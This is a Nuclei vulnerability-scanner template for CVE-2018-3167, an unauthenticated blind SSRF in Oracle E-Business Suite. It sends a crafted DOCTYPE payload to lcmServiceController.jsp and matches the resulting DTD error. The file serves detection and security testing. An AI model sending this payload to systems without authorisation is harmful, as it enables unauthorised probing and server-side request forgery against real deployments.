nuclei-templates/cves/2018/CVE-2018-3167.yaml

34 lines
909 B
YAML

id: CVE-2018-3167
info:
name: Unauthenticated Blind SSRF in Oracle EBS
author: geeknik
severity: medium
description: https://medium.com/@x41x41x41/unauthenticated-ssrf-in-oracle-ebs-765bd789a145
tags: cve,cve2018,oracle,ebs,ssrf,blind
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.30
cve-id: CVE-2018-3167
reference:
- http://www.oracle.com/technetwork/security-advisory/cpuoct2018-4428296.html
- http://www.securitytracker.com/id/1041897
- http://www.securityfocus.com/bid/105627
requests:
- method: POST
path:
- '{{BaseURL}}/OA_HTML/lcmServiceController.jsp'
body: <!DOCTYPE root PUBLIC "-//B/A/EN" "http://example.com">
matchers-condition: and
matchers:
- type: word
words:
- 'Unexpected text in DTD'
part: body
- type: status
status:
- 200